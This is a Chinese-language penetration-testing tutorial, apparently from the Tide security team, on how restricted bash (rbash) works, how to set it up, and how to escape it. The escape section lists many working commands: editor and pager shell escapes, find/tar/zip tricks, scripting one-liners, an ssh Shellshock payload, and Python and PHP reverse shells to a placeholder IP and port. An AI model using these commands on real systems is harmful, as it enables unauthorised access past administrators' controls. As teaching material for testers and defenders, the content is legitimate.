close

0x01 前言

在如今網絡安全管理越來越規範,安全運維安全管理逐漸重視,在各種系統配置中運維人員都設定了各種限制,在滲透測試中能獲得一個未受限制的shell變得非常困難,為了安全管理運維人員通常會給不同用戶設定一些特定的命令限制,來限制非必要命令的執行。

0x02 什麼是Restricted Bash

Restricted Bash(rbash)又叫做Restricted Shell,顧名思義就是受限制的shell。Linux的shell功能強大,以至於整個Linux系統可以精準的使用shell來控制。在Linux不同用戶之間,當你執行的一個系統命令時,它可能是危險的不可逆命令,為不同用戶之間設定不同權限進行安全管理引入了限制Bash Shell,防止一些非必要權限用戶執行有害系統的高危命令。

再比如一台Linux系統服務器中採用多用戶管理,部分用戶沒有sudo權限,但是這些用戶可以查看系統目錄中大部分內容,雖然沒有權限進行編輯但是不希望這些用戶查看這些目錄,這時可以通過rbash在不調整系統上每個文件夾權限的情況下通過限制用戶輸入某些命令來限制用戶隨意查看。

簡單來說rbash與shell的區別就是限制一些行為,讓一些命令無法執行。

0x03 rbash中的限制

rbash中的限制如下列所示

使用cd命令

修改$PATH$SHELL$BASH_ENV或$ENV的值

執行包含/(斜槓)字符的程序,/usr /bin ./等

使用>>|<>>&&>和>>等重定向輸出

使用set + r或set + o關閉限制

退出腳本內受限制的模式

rbash的存在是為了提高系統的安全性,但對於滲透者而言rbash限制嚴重影響了我們在目標機上的信息收集,以及常用的反彈shell。

0x04 為用戶啟用rbash示例1.創建測試用戶

使用具有sudo特權的用戶創建一個新測試用戶

sudo useradd -m test -s /bin/rbash ## 創建一個用戶名為test,並且設置test登錄shell為rbashsudo passwd test ## 為test設置密碼

2.為新用戶建立目錄

為test建立bin目錄

sudo mkdir /home/test/bin

3.指定用戶可以運行的命令

為用戶指定可以運行的命令,創建指向新建目錄鏈接。指定用戶可以運行mkdirlsping

sudo ln -s /bin/bash /bin/rbash ## 從Bash 創建一個名為rbash的符號鏈接sudo ln -s /bin/mkdir /home/test/bin sudo ln -s /bin/ls /home/test/binsudo ln -s /bin/ping /home/test/bin

4.限制新用戶修改.bash_profile文件

sudo chown root. /home/test/.bash_profilesudo chmod 755 /home/test/.bash_profile

5.修改PATH變量

vi /home/test/.bash_profile PATH=$HOME/bin ## 將PATH變量修改為此

6.測試

切換到test用戶下執行相關命令受限

0x05 Linux環境信息收集

在我們遇到rbash的時候,想要繞過rbash在繞過前需要做一些信息收集,通過嘗試命令來查看Linux環境可以做哪些事,查看rbash限制了那些行為。通過查看收集rbash限制條件,使用合適的繞過方法進行繞過。

需要檢查的內容如下:

檢查有哪些可用的命令,如cdlscpsu等

檢查操作符>>><|等是否可用

檢查系統是否有編程語言環境Python、ruby、perl等

檢查root身份可以運行的命令sudo -l

檢查具有SUID權限的文件或命令

檢查當前所用的shell,echo $SHELL

檢查環境變量envprintenv等

0x06 rbash繞過方法1.常見繞過方法

/字符被允許

如果允許使用「/」直接運行 /bin/sh 或 /bin/bash

cp命令被允許

如果cp命令被允許可直接複製 /bin/sh 或 /bin/bash 到本地目錄

find命令被允許

find / -name SomeName -exec /bin/bash \;

能夠設置PATH或SHELL時

有權限設置PATH或SHELL時,設置如下export PATH=$PATH:/bin/:/usr/bin:$PATHexport SHELL=/bin/sh

set shell

在一些編輯器中可通過末行執行命令設置shell:set shell=/bin/bash:shell

切換用戶逃逸

在Linux切換用戶時通常用到su或su -,其中他們的區別是,使用su切換用戶不會改變當前的用戶環境,例如從test用戶su到root用戶,當前路徑未發生改變,環境變量仍是test用戶的。使用su -切換用戶時用戶環境會發生改變,例如從test用戶su -到root用戶,路徑改變為/root/,環境變量也發生了改變

su - l test ## test為切換的用戶名su -- testsu --login test
##在su切換用戶逃逸時還可以在切換用戶時執行spawnshell命令su -c "python -c 'import pty;pty.spawn(\"/bin/bash\")'" test ## test為要切換的用戶名

2.利用Linux現有軟件

利用ftp

ftp執行 !/bin/sh或 !/bin/bash

利用gdb

gdb執行 !/bin/sh 或 !/bin/bash

利用git

執行git help status然後運行!/bin/bash

利用ed

ed執行!'/bin/sh/'或 !'/bin/bash/'

利用vi/vim

# 利用在vi/vim中末行模式可以執行命令的特點vim test 編輯test文件在末行執行:!/bin/sh 或 :!/bin/bash

利用zip

zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c/bin/bash"

利用tar

tar cf /dev/null testfile --checkpoint=1 --checkpointaction=exec=/bin/bash

3.使用編程語言

利用Python

python -c 'import os; os.system("/bin/bash")'

利用Perl

perl -e 'exec "/bin/bash";'

利用Ruby

exec "/bin/bash"

利用lua

os.execute('/bin/bash').

利用Perl

perl -e 'exec "/bin/bash";'

利用awk

awk 'BEGIN {system("/bin/bash")}'

利用PHP

php -a then exec("bash -i");

4.使用系統命令反彈shell

使用python反彈shell繞過

攻擊機開啟監聽nc -lvp PORT目標建立連接python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

使用PHP反彈設shell繞過

攻擊機開啟監聽nc -lvp PORT目標機建立連接php -r '$sock=fsockopen("IP",PORT);exec("/bin/bash -i <&3 >&3 2>&3");'

5.利用系統中的二進制文件

利用more

more test #利用編輯器末行執行命令的特點!'bash'

利用less

less test.txt #利用編輯器末行執行命令的特點!'bash'

利用man

!'bash' #利用編輯器末行執行命令的特點

6.利用expect繞過

expectexpect1.1 > spawn bashspawn bash
7.通過ssh繞過
ssh username@IP -t "/bin/bash"ssh username@IP -t "bash --noprofile"ssh username@IP -t "() { :; }; /bin/bash" (sehllshock)ssh -o ProxyCommand="sh -c /tmp/yourfile.sh" 127.0.0.1 (SUID)
## ssh 登錄時同樣可以通過spawn shell逃逸ssh username@IP "export TERM=xterm;python -c 'import pty;pty.spawn(\"/bin/bash\")'
0x08總結

筆者在一次滲透靶機的過程中遇到rbash繞過的問題,於是針對於rbash繞過技巧查找相關資料進行學習,通過借鑑前人經驗,重新對rbash繞過技巧進行了匯總總結,文章中沒有對所有的方法在相關環境下進行一一測試,安全技術是不斷進步的,對於rbash的繞過可能還會有更多的有效方法,希望更多的讀者能對文章的不足進行進行批評指正,如果有更好的技巧希望更多的人分享。

參考連接:https://it.baiked.com/database/4533.htmlhttps://www.hackingarticles.in/multiple-methods-to-bypass-restricted-shell/

E




N




D


















Tide安全團隊正式成立於2019年1月,是新潮信息旗下以互聯網攻防技術研究為目標的安全團隊,團隊致力於分享高質量原創文章、開源安全工具、交流安全技術,研究方向覆蓋網絡攻防、系統安全、Web安全、移動終端、安全開發、物聯網/工控安全/AI安全等多個領域。

團隊作為「省級等保關鍵技術實驗室」先後與哈工大、齊魯銀行、聊城大學、交通學院等多個高校名企建立聯合技術實驗室。團隊公眾號自創建以來,共發布原創文章370餘篇,自研平台達到26個,目有15個平台已開源。此外積極參加各類線上、線下CTF比賽並取得了優異的成績。如有對安全行業感興趣的小夥伴可以踴躍加入或關注我們。

arrow
arrow
    全站熱搜
    創作者介紹
    創作者 鑽石舞台 的頭像
    鑽石舞台

    鑽石舞台

    鑽石舞台 發表在 痞客邦 留言(0) 人氣()